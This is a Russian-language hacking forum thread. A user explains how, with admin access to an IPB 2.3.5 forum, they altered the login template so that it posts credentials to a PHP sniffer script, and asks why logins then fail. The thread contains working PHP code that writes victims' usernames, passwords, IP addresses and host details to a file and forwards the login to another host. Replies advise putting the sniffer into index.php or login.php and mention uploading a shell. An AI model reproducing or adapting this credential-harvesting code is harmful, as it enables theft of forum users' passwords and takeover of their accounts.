Снифер паролей в IPB 2.3.5. Косяк

Discussion in 'Песочница' started by Ershik, 1 Feb 2009.

  1. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Косяк такой.
    В Админке IPB
    НАСТРОЙКИ - Методы авторизации - Список методов - Внутренняя авторизация IPB - Стандартный метод авторизации

    Можно изменять html формочку при авторизации.
    Я подумал.
    Прикинул, что вещь неплохая, можно организовать полуфейк-полуснифер)))))
    Вбил в форму следующее:
    Code:
    <form action="http://127.0.0.1/upload/index.php?act=Login&amp;CODE=01" method="post" name="LOGIN" onsubmit="return ValidateForm()">
    	<input type="hidden" name="referer" value="http://127.0.0.1/upload/index.php?" />
    	<div class="borderwrap">
    		<div class="maintitle"><img src='style_images/1/nav_m.gif' border='0'  alt='&gt;' width='8' height='8' />&nbsp;Log In</div>
    		<div class='row2'>
    			<div class="formsubtitle">Please enter your details below to log in</div>
    			<div class="errorwrap" style='margin-bottom:0px;padding-bottom:0px'>
    				<h4>Attention!</h4>
    				<p>You must already have registered for an account before you can log in.<br />If you do not have an account, you may register by clicking the 'register' link near the top of the screen</p>
    				<p><b>I've forgotten my password! <a href="http://127.0.0.1/upload/index.php?act=Reg&amp;CODE=10">Click here!</a></b></p>
    			</div>
    		</div>
    		<table class='ipbtable' cellspacing="0">
    			<tr>
    				<td width="60%" valign="top" class='row2'>
    					<fieldset>
    						<legend><b>Log In</b></legend>
    						<table class='ipbtable' cellspacing="1">
    							<tr>
    
    <td width="50%"><b>Enter your user name</b></td>
    								<td width="50%"><input type="text" size="25" maxlength="64" name="UserName" /></td>
    
    							</tr>
    							<tr>
    								<td width="50%"><b>Enter your password</b></td>
    								<td width="50%"><input type="password" size="25" name="PassWord" /></td>
    							</tr>
    						</table>
    					</fieldset>
    				</td>
    				<td width="40%" valign="top" class='row2'>
    					<fieldset>
    						<legend><b>Options</b></legend>
    						<table class='ipbtable' cellspacing="1">
    							<tr>
    								<td width="10%"><input class='checkbox' type="checkbox" name="CookieDate" value="1" checked="checked" /></td>
    								<td width="90%"><b>Remember me?</b><br /><span class="desc">This is not recommended for shared computers</span></td>
    							</tr>
    
    <tr>
    								<td width="10%"><input class='checkbox' type="checkbox" name="Privacy" value="1" /></td>
    								<td width="90%"><b>Log in as invisible</b><br /><span class="desc">Don't add me to the active users list</span></td>
    							</tr>
    
    						</table>
    					</fieldset>
    				</td>
    			</tr>
    			<tr>
    				<td class="formbuttonrow" colspan="2"><input class="button" type="submit" name="submit" value="Log me in" /></td>
    			</tr>
    			<tr>
    				<td class="catend" colspan="2"><!-- no content --></td>
    			</tr>
    		</table>
    	</div>
    </form><!--TASK--><img src='http://127.0.0.1/upload/index.php?act=task' border='0' height='1' width='1' alt='' />
    
    Проверил.
    Авторизовало успешно :)
    Затем, я поменял
    PHP:
    <form action="http://127.0.0.1/upload/index.php?act=Login&amp;CODE=01" method="post" name="LOGIN" onsubmit="return ValidateForm()">
    На
    PHP:
    <form action="http://127.0.0.1/test.php" method="post" name="LOGIN" onsubmit="return ValidateForm()">
    В файле test.php вписано следующее:
    PHP:
    <?PHP
    $Login 
    $_POST['UserName'];
    $Pass $_POST['PassWord'];

    $log fopen("base.php","a+");
    fwrite($log,"\n$Login:$Pass \n");
    fclose($log);
    echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://127.0.0.1/test/index.php?act=Login&CODE=01'></head></html>";
    ?>
    В процессе тестирования, пароль записался! :D
    НО!
    Форума категорически не хотел авторизовывать меня.

    В чем может быть проблема?
    На файлах права 777.
    Пароли записываются.
    Но авторизация как таковой нет.
    Пишет, неизвестная ошибка, требует повторить данные.
     
  2. Xack-Zero

    Xack-Zero Member

    Joined:
    2 Dec 2006
    Messages:
    106
    Likes Received:
    31
    Reputations:
    0
    А куки форум тебе отправляет? Может из-за этого не проходишь авторизацию?
     
  3. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Естественно, что он не авторизуется, пост данные схавал test.php, а не
    а не проще, добавь код снифера в сам http://127.0.0.1/upload/index.php
     
    #3 shellz[21h], 5 Apr 2009
    Last edited: 5 Apr 2009
  4. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    shellz[21h], шелла нет. Только пароли от БД.
    - это не помогло.
    Попробовал следующее составить в индекс.php:
    PHP:
    <?PHP 
    if (isset($_POST['UserName']) and isset($_POST['PassWord']));
    $Login $_POST['UserName']; 
    $Pass $_POST['PassWord']; 
    $text "Логин:$Login Пасс:$Pass";
    $Port getenv("REMOTE_PORT");
    $Connect $_SERVER['HTTP_CONNECTION'];
    $Host gethostbyaddr(getenv("REMOTE_ADDR")); 
    $Pass $_POST['PassWord']; // Пароль
    $ip $_SERVER["REMOTE_ADDR"]; // IP Жертвы
    $Data date("d-m-y H:i:s"time()); // Дата и время

    $text "[$Data] Browser:[$Browser] Port:[$Port] Connect:[$Connect] Host:[$Host] IP:$ip  Login:$Login Пасс:$Pass";
    $filelog fopen("base.php","a+"); //открываем файл базы
    fwrite($filelog,"\n $text \n"); //записываем всё

    fclose($filelog); //закрываем

    set_time_limit(0); 


    $Login $_POST['UserName']; 
    $Pass $_POST['PassWord']; 
    $hostname="www.feik.ru";
    $path="/fopur/index.php?act=Login&CODE=01"
    $fp fsockopen($hostname,80);  
    if(!
    $fp){ 
    echo
    "Ошибка подключения"

    else{  
    $data "index.php?act=Login&CODE=01\r\n\r\n"// отправляемые даные! 
    $headers "POST $path HTTP/1.1\r\n";  
    $headers .= "Host: realsite.ru\r\n";  
    $headers .= "Connection: close\r\n";  
    $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n";  
    $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n";  
    $headers .= "Accept-Language: en-us,en;q=0.5\r\n";  
    $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";  
    $headers .= "Referer: http://realsite.ru/forum/index.php\r\n";
    $headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
      
    $headers .= "Content-Length: ".strlen($data)."\r\n\r\n";  

    fputs($fp,$headers.$data);  

    while(!
    feof($fp)) 
     { 
     
    $a=fread($fp,1000);
    echo 
    $a;
     }
     }
       
    fclose($fp);  

    ?>
    <html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://realsite.ru/forum/index.php?act=Login&CODE=01'></head></html>;
    ?>
    Авторизации так же нет :(
     
  5. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Лучше не мудрить..и засунуть снифферовский кода в login.php

    Шелл в систему ни так уж сложно залить.
     
  6. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Я бы с радостью, но нет такой возможности!
    Есть еще предложения?
    Он берет куки но категорически отказывается выполнятся. шозанах мне не понятно.